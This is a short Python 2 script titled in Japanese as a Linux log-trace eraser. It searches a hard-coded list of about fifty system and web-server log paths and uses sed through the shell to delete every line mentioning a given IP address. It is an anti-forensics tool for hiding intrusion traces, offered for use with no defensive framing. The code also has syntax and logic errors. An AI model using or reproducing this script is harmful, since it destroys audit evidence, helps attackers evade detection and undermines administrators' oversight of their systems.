Linuxログ痕跡消去

#coding=utf-8
import os
import sys
import subprocess

def Clear_The_Log(host):
    logs = ["/var/log/messages","/var/log/messages.1","/etc/syslog.conf","/var/log/secure","/var/log/message","/var/log/lastlog","/var/log/auth.log","/var/log/vsftpd.log","/var/log/apache2/access.log","/var/log/apache2/error.log","/var/log/apache2/error.log.1","/usr/local/httpd/error.log","/apache/apache/message.log","/var/log/apache2/access_log","/var/log/apache2/error.log","/var/log/apache2/error_log ","/var/log/apache/access.log","/var/log/apache/access_log","/var/log/apache/error.log","/var/log/apache/error_log","/var/www/logs/error_log"," /var/www/logs/error.log"," /var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/error_log"," /usr/local/apache/logs/error.log","/usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","/var/log/error_log","/var/log/error.log","/var/log/access_log","/var/log/access.log","/usr/local/apache/logs/error_logerror_log.old","/usr/local/apache/logs/access_logaccess_log.old","/var/log/access.log","/var/log/access_log","/usr/local/apache/logs/error_log","/usr/local/apache/logs/error.log","/usr/local/apache/logs/access.log","/var/log/messages.1","/var/log/messages.2","/var/log/messages.3","/var/log/messages.4","/var/log/secure.1","/var/log/secure.2","/var/log/secure.3","/var/log/secure.3","/var/log/secure.4"]
    print "[*]Trying to find the logs of the Linux......"
    for log in logs:
        if os.path.exists(log):
            print "[+]Found the log: " + log
            subprocess.call("sed -i '/%s/d' %s" % (host, log), shell=True)
            print "[+]Clear the log successfully."

def main():
    try:
        host = sys.argv[1]
        if len(sys.argv) < 1:
            print "[*]Usage: python Linux_log_clear.py [host]
 Example: python Linux_log_clear.py 127.0.0.1"
        Clear_The_Log(host)
    except Exception, e:
        print "[*]Usage: python Linux_log_clear.py [host]
 Example: python Linux_log_clear.py 127.0.0.1"

if __name__ == '__main__':
    main()